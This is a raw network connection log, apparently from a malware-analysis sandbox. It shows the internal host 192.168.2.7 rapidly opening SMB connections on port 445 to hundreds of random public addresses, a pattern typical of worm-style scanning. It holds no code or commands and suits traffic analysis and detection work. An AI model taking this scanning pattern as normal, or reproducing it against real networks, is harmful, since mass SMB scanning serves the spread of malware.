Jul 20, 2022 13:27:33.873121977 CEST	60691	445	192.168.2.7	97.190.48.7
Jul 20, 2022 13:27:33.874166965 CEST	60692	445	192.168.2.7	59.231.73.212
Jul 20, 2022 13:27:33.994364977 CEST	60705	445	192.168.2.7	179.32.210.225
Jul 20, 2022 13:27:33.996326923 CEST	60707	445	192.168.2.7	155.116.20.97
Jul 20, 2022 13:27:34.035454035 CEST	60711	445	192.168.2.7	195.233.172.186
Jul 20, 2022 13:27:34.035454035 CEST	60709	445	192.168.2.7	47.54.166.67
Jul 20, 2022 13:27:34.036283016 CEST	60728	445	192.168.2.7	32.159.21.231
Jul 20, 2022 13:27:34.036297083 CEST	60727	445	192.168.2.7	20.111.156.178
Jul 20, 2022 13:27:34.036402941 CEST	60730	445	192.168.2.7	69.223.116.167
Jul 20, 2022 13:27:34.037517071 CEST	60743	445	192.168.2.7	161.150.62.177
Jul 20, 2022 13:27:34.037528992 CEST	60741	445	192.168.2.7	133.103.21.175
Jul 20, 2022 13:27:34.037676096 CEST	60745	445	192.168.2.7	142.159.74.63
Jul 20, 2022 13:27:34.037868023 CEST	60748	445	192.168.2.7	53.226.88.34
Jul 20, 2022 13:27:34.037930012 CEST	60749	445	192.168.2.7	4.202.86.192
Jul 20, 2022 13:27:34.050395012 CEST	60753	445	192.168.2.7	80.62.233.241
Jul 20, 2022 13:27:34.050697088 CEST	60761	445	192.168.2.7	44.126.61.243
Jul 20, 2022 13:27:34.055135012 CEST	60763	445	192.168.2.7	208.173.25.108
Jul 20, 2022 13:27:34.055340052 CEST	60768	445	192.168.2.7	119.150.197.136
Jul 20, 2022 13:27:34.055661917 CEST	60767	445	192.168.2.7	117.187.169.147
Jul 20, 2022 13:27:34.056148052 CEST	60771	445	192.168.2.7	126.45.40.117
Jul 20, 2022 13:27:34.372633934 CEST	60778	445	192.168.2.7	25.143.23.31
Jul 20, 2022 13:27:34.376224995 CEST	60781	445	192.168.2.7	74.204.15.86
Jul 20, 2022 13:27:34.447227955 CEST	60783	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:34.466865063 CEST	445	60783	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:34.466964960 CEST	60783	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:34.467133999 CEST	60783	445	192.168.2.7	172.65.175.3
Jul 20, 2022 13:27:34.486206055 CEST	445	60783	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:34.486669064 CEST	445	60783	172.65.175.3	192.168.2.7
Jul 20, 2022 13:27:34.541027069 CEST	60785	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:34.559736967 CEST	445	60785	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:34.560081959 CEST	60785	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:34.560427904 CEST	60785	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:34.577790976 CEST	445	60785	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:34.579251051 CEST	60786	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:34.595820904 CEST	445	60786	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:34.596030951 CEST	60786	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:34.596221924 CEST	60786	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:34.612576962 CEST	445	60786	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:34.613818884 CEST	445	60786	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:34.713555098 CEST	60790	445	192.168.2.7	5.240.140.141
Jul 20, 2022 13:27:34.730065107 CEST	60791	445	192.168.2.7	94.27.140.88
Jul 20, 2022 13:27:34.730191946 CEST	60792	445	192.168.2.7	185.15.42.149
Jul 20, 2022 13:27:35.000484943 CEST	60798	445	192.168.2.7	143.242.176.217
Jul 20, 2022 13:27:35.000543118 CEST	60801	445	192.168.2.7	69.201.136.200
Jul 20, 2022 13:27:35.000571966 CEST	60800	445	192.168.2.7	92.14.43.108
Jul 20, 2022 13:27:35.000611067 CEST	60802	445	192.168.2.7	163.23.124.235
Jul 20, 2022 13:27:35.000648022 CEST	60803	445	192.168.2.7	211.11.181.85
Jul 20, 2022 13:27:35.132930994 CEST	60816	445	192.168.2.7	184.13.228.73
Jul 20, 2022 13:27:35.161789894 CEST	60817	445	192.168.2.7	71.127.76.93
Jul 20, 2022 13:27:35.167043924 CEST	60821	445	192.168.2.7	114.235.41.12
Jul 20, 2022 13:27:35.168323040 CEST	60823	445	192.168.2.7	17.209.129.248
Jul 20, 2022 13:27:35.177108049 CEST	60836	445	192.168.2.7	65.116.68.201
Jul 20, 2022 13:27:35.179161072 CEST	60839	445	192.168.2.7	152.48.115.159
Jul 20, 2022 13:27:35.180732012 CEST	60841	445	192.168.2.7	79.58.38.137
Jul 20, 2022 13:27:35.187832117 CEST	60852	445	192.168.2.7	28.224.16.171
Jul 20, 2022 13:27:35.188493013 CEST	60853	445	192.168.2.7	136.17.242.3
Jul 20, 2022 13:27:35.190401077 CEST	60856	445	192.168.2.7	46.86.162.192
Jul 20, 2022 13:27:35.192276955 CEST	60859	445	192.168.2.7	35.211.155.227
Jul 20, 2022 13:27:35.193845034 CEST	60861	445	192.168.2.7	93.78.78.157
Jul 20, 2022 13:27:35.197655916 CEST	60866	445	192.168.2.7	148.102.254.157
Jul 20, 2022 13:27:35.199712038 CEST	60869	445	192.168.2.7	97.73.168.228
Jul 20, 2022 13:27:35.206187963 CEST	60879	445	192.168.2.7	28.200.115.30
Jul 20, 2022 13:27:35.208079100 CEST	60882	445	192.168.2.7	47.19.65.140
Jul 20, 2022 13:27:35.208724976 CEST	60883	445	192.168.2.7	28.239.246.42
Jul 20, 2022 13:27:35.225480080 CEST	60887	445	192.168.2.7	102.205.239.118
Jul 20, 2022 13:27:35.511951923 CEST	60889	445	192.168.2.7	17.76.127.184
Jul 20, 2022 13:27:35.512130976 CEST	60893	445	192.168.2.7	28.6.126.186
Jul 20, 2022 13:27:35.838063955 CEST	60896	445	192.168.2.7	94.27.140.89
Jul 20, 2022 13:27:35.838356018 CEST	60897	445	192.168.2.7	185.15.42.150
Jul 20, 2022 13:27:35.838968039 CEST	60898	445	192.168.2.7	5.240.140.142
Jul 20, 2022 13:27:35.915255070 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:36.119657040 CEST	60908	445	192.168.2.7	210.222.221.20
Jul 20, 2022 13:27:36.120310068 CEST	60909	445	192.168.2.7	200.205.14.77
Jul 20, 2022 13:27:36.120939970 CEST	60910	445	192.168.2.7	11.97.70.22
Jul 20, 2022 13:27:36.121561050 CEST	60911	445	192.168.2.7	1.141.178.159
Jul 20, 2022 13:27:36.122174978 CEST	60912	445	192.168.2.7	31.139.228.167
Jul 20, 2022 13:27:36.244074106 CEST	60925	445	192.168.2.7	119.10.24.90
Jul 20, 2022 13:27:36.330137014 CEST	60928	445	192.168.2.7	175.26.189.162
Jul 20, 2022 13:27:36.330529928 CEST	60929	445	192.168.2.7	49.44.147.229
Jul 20, 2022 13:27:36.386950970 CEST	60940	445	192.168.2.7	99.39.41.158
Jul 20, 2022 13:27:36.387082100 CEST	60943	445	192.168.2.7	178.125.188.55
Jul 20, 2022 13:27:36.387185097 CEST	60945	445	192.168.2.7	214.4.6.208
Jul 20, 2022 13:27:36.387653112 CEST	60958	445	192.168.2.7	12.75.140.119
Jul 20, 2022 13:27:36.387778997 CEST	60961	445	192.168.2.7	131.200.68.225
Jul 20, 2022 13:27:36.387875080 CEST	60963	445	192.168.2.7	10.229.208.218
Jul 20, 2022 13:27:36.388144016 CEST	60965	445	192.168.2.7	9.113.106.116
Jul 20, 2022 13:27:36.388407946 CEST	60969	445	192.168.2.7	51.62.175.118
Jul 20, 2022 13:27:36.388536930 CEST	60972	445	192.168.2.7	60.184.23.162
Jul 20, 2022 13:27:36.388896942 CEST	60982	445	192.168.2.7	34.91.56.0
Jul 20, 2022 13:27:36.389054060 CEST	60985	445	192.168.2.7	22.192.135.145
Jul 20, 2022 13:27:36.389110088 CEST	60986	445	192.168.2.7	220.10.187.230
Jul 20, 2022 13:27:36.389314890 CEST	60991	445	192.168.2.7	38.16.24.129
Jul 20, 2022 13:27:36.389413118 CEST	60993	445	192.168.2.7	161.84.219.56
Jul 20, 2022 13:27:36.389542103 CEST	60996	445	192.168.2.7	167.242.134.126
Jul 20, 2022 13:27:36.414932966 CEST	60132	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:37.611795902 CEST	60998	445	192.168.2.7	114.61.48.134
Jul 20, 2022 13:27:37.611910105 CEST	61002	445	192.168.2.7	191.221.30.221
Jul 20, 2022 13:27:37.637993097 CEST	61003	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:37.654517889 CEST	445	61003	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:37.654620886 CEST	61003	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:37.654778957 CEST	61003	445	192.168.2.7	172.65.175.4
Jul 20, 2022 13:27:37.671107054 CEST	445	61003	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:37.671904087 CEST	445	61003	172.65.175.4	192.168.2.7
Jul 20, 2022 13:27:37.715181112 CEST	61004	445	192.168.2.7	94.27.140.90
Jul 20, 2022 13:27:37.715682030 CEST	61005	445	192.168.2.7	185.15.42.151
Jul 20, 2022 13:27:37.716135979 CEST	61006	445	192.168.2.7	5.240.140.143
Jul 20, 2022 13:27:37.722029924 CEST	61017	445	192.168.2.7	189.239.127.145
Jul 20, 2022 13:27:37.723329067 CEST	61019	445	192.168.2.7	118.95.140.209
Jul 20, 2022 13:27:37.725200891 CEST	61022	445	192.168.2.7	180.60.164.83
Jul 20, 2022 13:27:37.737838984 CEST	61033	445	192.168.2.7	163.209.47.60
Jul 20, 2022 13:27:37.738336086 CEST	61034	445	192.168.2.7	8.119.85.93
Jul 20, 2022 13:27:37.739715099 CEST	61037	445	192.168.2.7	119.86.141.182
Jul 20, 2022 13:27:37.853660107 CEST	61050	445	192.168.2.7	214.125.230.224
Jul 20, 2022 13:27:37.853713989 CEST	61051	445	192.168.2.7	109.70.45.203
Jul 20, 2022 13:27:37.853780031 CEST	61052	445	192.168.2.7	124.18.96.197
Jul 20, 2022 13:27:37.853843927 CEST	61053	445	192.168.2.7	9.234.37.45
Jul 20, 2022 13:27:37.853899956 CEST	61054	445	192.168.2.7	46.175.44.200
Jul 20, 2022 13:27:37.855026960 CEST	61077	445	192.168.2.7	56.210.0.234
Jul 20, 2022 13:27:37.855030060 CEST	61070	445	192.168.2.7	112.69.23.234
Jul 20, 2022 13:27:37.855035067 CEST	61067	445	192.168.2.7	124.37.121.191
Jul 20, 2022 13:27:37.855036974 CEST	61081	445	192.168.2.7	56.109.89.163
Jul 20, 2022 13:27:37.855057955 CEST	61071	445	192.168.2.7	126.245.54.159
Jul 20, 2022 13:27:37.855065107 CEST	61078	445	192.168.2.7	13.203.140.210
Jul 20, 2022 13:27:37.855072975 CEST	61091	445	192.168.2.7	43.13.212.140
Jul 20, 2022 13:27:37.855091095 CEST	61094	445	192.168.2.7	161.3.179.33
Jul 20, 2022 13:27:37.855218887 CEST	61098	445	192.168.2.7	42.215.33.56
Jul 20, 2022 13:27:37.855304003 CEST	61100	445	192.168.2.7	185.172.218.55
Jul 20, 2022 13:27:37.855353117 CEST	61101	445	192.168.2.7	51.113.169.121
Jul 20, 2022 13:27:37.855473042 CEST	61105	445	192.168.2.7	42.244.158.5
Jul 20, 2022 13:27:37.938386917 CEST	61109	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:37.954921961 CEST	445	61109	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:37.955048084 CEST	61109	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:37.955168962 CEST	61109	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:37.967499971 CEST	61110	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:37.973578930 CEST	445	61109	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:37.974160910 CEST	445	61109	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:37.984015942 CEST	445	61110	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:37.984186888 CEST	61110	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:38.001374006 CEST	445	61110	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:39.446480989 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:39.743364096 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:40.101794004 CEST	61111	445	192.168.2.7	94.27.140.91
Jul 20, 2022 13:27:40.102881908 CEST	61112	445	192.168.2.7	185.15.42.152
Jul 20, 2022 13:27:40.103617907 CEST	61113	445	192.168.2.7	5.240.140.144
Jul 20, 2022 13:27:40.225924015 CEST	61130	445	192.168.2.7	84.52.92.236
Jul 20, 2022 13:27:40.227570057 CEST	61132	445	192.168.2.7	107.190.95.157
Jul 20, 2022 13:27:40.374321938 CEST	61135	445	192.168.2.7	185.28.83.3
Jul 20, 2022 13:27:40.376810074 CEST	61141	445	192.168.2.7	34.226.53.53
Jul 20, 2022 13:27:40.377032995 CEST	61145	445	192.168.2.7	5.153.0.150
Jul 20, 2022 13:27:40.377110958 CEST	61146	445	192.168.2.7	156.164.232.64
Jul 20, 2022 13:27:40.377199888 CEST	61142	445	192.168.2.7	188.177.115.100
Jul 20, 2022 13:27:40.377603054 CEST	61158	445	192.168.2.7	207.90.188.64
Jul 20, 2022 13:27:40.377754927 CEST	61161	445	192.168.2.7	186.207.186.0
Jul 20, 2022 13:27:40.377854109 CEST	61162	445	192.168.2.7	6.170.36.115
Jul 20, 2022 13:27:40.378207922 CEST	61169	445	192.168.2.7	64.44.146.225
Jul 20, 2022 13:27:40.378318071 CEST	61168	445	192.168.2.7	200.164.110.84
Jul 20, 2022 13:27:40.378396034 CEST	61173	445	192.168.2.7	78.3.185.39
Jul 20, 2022 13:27:40.378741980 CEST	61182	445	192.168.2.7	77.212.73.155
Jul 20, 2022 13:27:40.378853083 CEST	61185	445	192.168.2.7	2.214.0.202
Jul 20, 2022 13:27:40.378976107 CEST	61188	445	192.168.2.7	19.123.193.146
Jul 20, 2022 13:27:40.379072905 CEST	61190	445	192.168.2.7	107.147.0.140
Jul 20, 2022 13:27:40.379128933 CEST	61191	445	192.168.2.7	137.162.192.149
Jul 20, 2022 13:27:40.379281044 CEST	61195	445	192.168.2.7	156.253.66.121
Jul 20, 2022 13:27:40.379734993 CEST	61209	445	192.168.2.7	191.205.62.249
Jul 20, 2022 13:27:40.379800081 CEST	61211	445	192.168.2.7	216.188.85.71
Jul 20, 2022 13:27:40.379869938 CEST	61212	445	192.168.2.7	60.16.224.67
Jul 20, 2022 13:27:40.379925013 CEST	61213	445	192.168.2.7	114.128.210.188
Jul 20, 2022 13:27:40.379987001 CEST	61214	445	192.168.2.7	151.123.200.145
Jul 20, 2022 13:27:40.380188942 CEST	61220	445	192.168.2.7	211.57.115.120
Jul 20, 2022 13:27:40.437278986 CEST	445	61173	78.3.185.39	192.168.2.7
Jul 20, 2022 13:27:40.946628094 CEST	61173	445	192.168.2.7	78.3.185.39
Jul 20, 2022 13:27:41.041215897 CEST	61222	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:41.057718992 CEST	445	61222	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:41.057830095 CEST	61222	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:41.058057070 CEST	61222	445	192.168.2.7	172.65.175.5
Jul 20, 2022 13:27:41.074464083 CEST	445	61222	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:41.074949980 CEST	445	61222	172.65.175.5	192.168.2.7
Jul 20, 2022 13:27:41.137236118 CEST	61223	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:41.153923988 CEST	445	61223	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:41.154102087 CEST	61223	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:41.154617071 CEST	61223	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:41.168304920 CEST	61224	445	192.168.2.7	94.27.140.92
Jul 20, 2022 13:27:41.171473026 CEST	445	61223	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:41.173017979 CEST	61225	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:41.184170961 CEST	61226	445	192.168.2.7	185.15.42.153
Jul 20, 2022 13:27:41.189632893 CEST	445	61225	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:41.189816952 CEST	61225	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:41.193675995 CEST	61225	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:41.194149971 CEST	61227	445	192.168.2.7	5.240.140.145
Jul 20, 2022 13:27:41.207024097 CEST	445	61225	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:41.210134983 CEST	445	61225	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:41.297525883 CEST	445	61173	78.3.185.39	192.168.2.7
Jul 20, 2022 13:27:41.340032101 CEST	61244	445	192.168.2.7	78.23.102.251
Jul 20, 2022 13:27:41.340527058 CEST	61245	445	192.168.2.7	72.48.120.53
Jul 20, 2022 13:27:41.495100975 CEST	61249	445	192.168.2.7	187.241.232.71
Jul 20, 2022 13:27:41.532079935 CEST	61256	445	192.168.2.7	152.204.69.13
Jul 20, 2022 13:27:41.532088995 CEST	61255	445	192.168.2.7	29.167.43.112
Jul 20, 2022 13:27:41.532233953 CEST	61259	445	192.168.2.7	18.2.74.148
Jul 20, 2022 13:27:41.532490015 CEST	61260	445	192.168.2.7	131.154.61.86
Jul 20, 2022 13:27:41.559264898 CEST	61264	445	192.168.2.7	22.161.170.183
Jul 20, 2022 13:27:41.608333111 CEST	61267	445	192.168.2.7	214.209.203.131
Jul 20, 2022 13:27:41.608500957 CEST	61269	445	192.168.2.7	161.24.213.137
Jul 20, 2022 13:27:41.608597040 CEST	61270	445	192.168.2.7	25.101.62.64
Jul 20, 2022 13:27:41.608813047 CEST	61274	445	192.168.2.7	174.27.204.198
Jul 20, 2022 13:27:41.609397888 CEST	61288	445	192.168.2.7	68.162.164.171
Jul 20, 2022 13:27:41.609515905 CEST	61290	445	192.168.2.7	103.130.41.193
Jul 20, 2022 13:27:41.609592915 CEST	61291	445	192.168.2.7	165.105.6.1
Jul 20, 2022 13:27:41.609674931 CEST	61292	445	192.168.2.7	190.40.129.50
Jul 20, 2022 13:27:41.609744072 CEST	61293	445	192.168.2.7	1.234.21.200
Jul 20, 2022 13:27:41.610049963 CEST	61300	445	192.168.2.7	192.183.217.169
Jul 20, 2022 13:27:41.610447884 CEST	61309	445	192.168.2.7	31.181.241.141
Jul 20, 2022 13:27:41.610647917 CEST	61313	445	192.168.2.7	108.185.245.231
Jul 20, 2022 13:27:41.610730886 CEST	61314	445	192.168.2.7	92.31.177.222
Jul 20, 2022 13:27:41.610992908 CEST	61320	445	192.168.2.7	69.7.49.247
Jul 20, 2022 13:27:41.611041069 CEST	61321	445	192.168.2.7	163.226.89.137
Jul 20, 2022 13:27:41.611217976 CEST	61325	445	192.168.2.7	19.138.17.101
Jul 20, 2022 13:27:41.611826897 CEST	61335	445	192.168.2.7	94.104.250.254
Jul 20, 2022 13:27:41.656193018 CEST	445	61335	94.104.250.254	192.168.2.7
Jul 20, 2022 13:27:42.123019934 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.123065948 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.123250961 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.124892950 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.124916077 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.134182930 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:42.225544930 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.225677967 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.229741096 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.229763985 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.230128050 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.244339943 CEST	61338	445	192.168.2.7	94.27.140.93
Jul 20, 2022 13:27:42.259707928 CEST	61339	445	192.168.2.7	185.15.42.154
Jul 20, 2022 13:27:42.259932995 CEST	61340	445	192.168.2.7	5.240.140.146
Jul 20, 2022 13:27:42.337357998 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.337359905 CEST	61335	445	192.168.2.7	94.104.250.254
Jul 20, 2022 13:27:42.381234884 CEST	445	61335	94.104.250.254	192.168.2.7
Jul 20, 2022 13:27:42.438801050 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.438855886 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.438867092 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.439033985 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.462663889 CEST	61357	445	192.168.2.7	216.42.159.221
Jul 20, 2022 13:27:42.462845087 CEST	61359	445	192.168.2.7	162.194.94.242
Jul 20, 2022 13:27:42.466598034 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.466680050 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.467103958 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.467134953 CEST	61337	443	192.168.2.7	20.199.120.182
Jul 20, 2022 13:27:42.467153072 CEST	443	61337	20.199.120.182	192.168.2.7
Jul 20, 2022 13:27:42.620388985 CEST	61362	445	192.168.2.7	134.12.151.172
Jul 20, 2022 13:27:42.634226084 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:42.650253057 CEST	61368	445	192.168.2.7	142.185.130.217
Jul 20, 2022 13:27:42.650527954 CEST	61367	445	192.168.2.7	191.173.199.169
Jul 20, 2022 13:27:42.650532961 CEST	61371	445	192.168.2.7	99.11.175.177
Jul 20, 2022 13:27:42.650573969 CEST	61372	445	192.168.2.7	192.253.209.208
Jul 20, 2022 13:27:42.682249069 CEST	61378	445	192.168.2.7	207.97.196.152
Jul 20, 2022 13:27:42.728842020 CEST	61389	445	192.168.2.7	50.207.23.215
Jul 20, 2022 13:27:42.728981018 CEST	61391	445	192.168.2.7	37.6.13.199
Jul 20, 2022 13:27:42.729135036 CEST	61393	445	192.168.2.7	217.23.235.251
Jul 20, 2022 13:27:42.729522943 CEST	61399	445	192.168.2.7	205.64.119.17
Jul 20, 2022 13:27:42.729799986 CEST	61404	445	192.168.2.7	100.29.138.108
Jul 20, 2022 13:27:42.730427980 CEST	61414	445	192.168.2.7	84.34.10.68
Jul 20, 2022 13:27:42.730583906 CEST	61416	445	192.168.2.7	116.222.29.224
Jul 20, 2022 13:27:42.730611086 CEST	61417	445	192.168.2.7	183.171.51.244
Jul 20, 2022 13:27:42.730740070 CEST	61418	445	192.168.2.7	72.63.110.197
Jul 20, 2022 13:27:42.730766058 CEST	61419	445	192.168.2.7	73.168.51.60
Jul 20, 2022 13:27:42.731720924 CEST	61434	445	192.168.2.7	43.52.49.176
Jul 20, 2022 13:27:42.732002020 CEST	61438	445	192.168.2.7	105.178.3.100
Jul 20, 2022 13:27:42.732194901 CEST	61441	445	192.168.2.7	90.203.3.45
Jul 20, 2022 13:27:42.732211113 CEST	61439	445	192.168.2.7	83.252.70.173
Jul 20, 2022 13:27:42.732495070 CEST	61444	445	192.168.2.7	3.225.215.65
Jul 20, 2022 13:27:42.732690096 CEST	61447	445	192.168.2.7	89.35.44.217
Jul 20, 2022 13:27:42.732763052 CEST	61446	445	192.168.2.7	4.222.28.189
Jul 20, 2022 13:27:42.803167105 CEST	445	61368	142.185.130.217	192.168.2.7
Jul 20, 2022 13:27:43.322222948 CEST	61450	445	192.168.2.7	185.15.42.155
Jul 20, 2022 13:27:43.322405100 CEST	61451	445	192.168.2.7	5.240.140.147
Jul 20, 2022 13:27:43.322647095 CEST	61452	445	192.168.2.7	94.27.140.94
Jul 20, 2022 13:27:43.337462902 CEST	61368	445	192.168.2.7	142.185.130.217
Jul 20, 2022 13:27:43.488701105 CEST	445	61368	142.185.130.217	192.168.2.7
Jul 20, 2022 13:27:43.572454929 CEST	61469	445	192.168.2.7	36.0.13.40
Jul 20, 2022 13:27:43.572669029 CEST	61471	445	192.168.2.7	116.166.161.46
Jul 20, 2022 13:27:43.728712082 CEST	61473	445	192.168.2.7	171.190.190.218
Jul 20, 2022 13:27:43.760003090 CEST	61478	445	192.168.2.7	55.37.81.92
Jul 20, 2022 13:27:43.760102987 CEST	61480	445	192.168.2.7	56.7.254.117
Jul 20, 2022 13:27:43.760380030 CEST	61484	445	192.168.2.7	175.220.9.193
Jul 20, 2022 13:27:43.761368990 CEST	61482	445	192.168.2.7	118.104.157.219
Jul 20, 2022 13:27:43.791271925 CEST	61489	445	192.168.2.7	169.66.137.212
Jul 20, 2022 13:27:43.854073048 CEST	61493	445	192.168.2.7	54.250.82.52
Jul 20, 2022 13:27:43.854245901 CEST	61496	445	192.168.2.7	187.191.203.248
Jul 20, 2022 13:27:43.854424000 CEST	61499	445	192.168.2.7	86.104.34.111
Jul 20, 2022 13:27:43.854856968 CEST	61504	445	192.168.2.7	2.20.220.18
Jul 20, 2022 13:27:43.855081081 CEST	61507	445	192.168.2.7	124.203.189.224
Jul 20, 2022 13:27:43.855840921 CEST	61520	445	192.168.2.7	102.206.233.29
Jul 20, 2022 13:27:43.856050014 CEST	61522	445	192.168.2.7	44.28.156.124
Jul 20, 2022 13:27:43.856054068 CEST	61519	445	192.168.2.7	12.226.170.56
Jul 20, 2022 13:27:43.856137037 CEST	61523	445	192.168.2.7	75.162.164.237
Jul 20, 2022 13:27:43.856214046 CEST	61524	445	192.168.2.7	141.133.25.229
Jul 20, 2022 13:27:43.857110023 CEST	61538	445	192.168.2.7	136.100.251.121
Jul 20, 2022 13:27:43.857420921 CEST	61543	445	192.168.2.7	151.246.12.232
Jul 20, 2022 13:27:43.857567072 CEST	61545	445	192.168.2.7	64.77.222.28
Jul 20, 2022 13:27:43.857611895 CEST	61546	445	192.168.2.7	43.46.68.149
Jul 20, 2022 13:27:43.857820034 CEST	61549	445	192.168.2.7	164.112.8.74
Jul 20, 2022 13:27:43.857969999 CEST	61551	445	192.168.2.7	194.25.175.183
Jul 20, 2022 13:27:43.858129978 CEST	61552	445	192.168.2.7	160.72.47.103
Jul 20, 2022 13:27:43.949805021 CEST	445	61499	86.104.34.111	192.168.2.7
Jul 20, 2022 13:27:44.212996006 CEST	61562	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:44.230530024 CEST	445	61562	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:44.230715036 CEST	61562	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:44.230786085 CEST	61562	445	192.168.2.7	172.65.175.6
Jul 20, 2022 13:27:44.247484922 CEST	445	61562	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:44.248199940 CEST	445	61562	172.65.175.6	192.168.2.7
Jul 20, 2022 13:27:44.306904078 CEST	61564	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:44.323690891 CEST	445	61564	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:44.323875904 CEST	61564	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:44.323911905 CEST	61564	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:44.324500084 CEST	61565	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:44.340991974 CEST	445	61565	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:44.341186047 CEST	445	61564	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:44.341191053 CEST	61565	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:44.341207027 CEST	445	61564	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:44.341229916 CEST	61565	445	192.168.2.7	172.65.175.7
Jul 20, 2022 13:27:44.357779026 CEST	445	61565	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:44.358530998 CEST	445	61565	172.65.175.7	192.168.2.7
Jul 20, 2022 13:27:44.400338888 CEST	61566	445	192.168.2.7	185.15.42.156
Jul 20, 2022 13:27:44.400494099 CEST	61567	445	192.168.2.7	5.240.140.148
Jul 20, 2022 13:27:44.400500059 CEST	61568	445	192.168.2.7	94.27.140.95
Jul 20, 2022 13:27:44.462554932 CEST	61499	445	192.168.2.7	86.104.34.111
Jul 20, 2022 13:27:44.556447983 CEST	445	61499	86.104.34.111	192.168.2.7
Jul 20, 2022 13:27:44.697269917 CEST	61585	445	192.168.2.7	88.182.45.95
Jul 20, 2022 13:27:44.697560072 CEST	61587	445	192.168.2.7	196.169.194.185
Jul 20, 2022 13:27:44.856961012 CEST	61591	445	192.168.2.7	76.145.55.22
Jul 20, 2022 13:27:44.869111061 CEST	61593	445	192.168.2.7	53.183.130.80
Jul 20, 2022 13:27:44.869272947 CEST	61596	445	192.168.2.7	19.40.132.100
Jul 20, 2022 13:27:44.869379997 CEST	61598	445	192.168.2.7	31.72.16.234
Jul 20, 2022 13:27:44.869520903 CEST	61599	445	192.168.2.7	10.232.53.48
Jul 20, 2022 13:27:44.916307926 CEST	61606	445	192.168.2.7	82.6.58.69
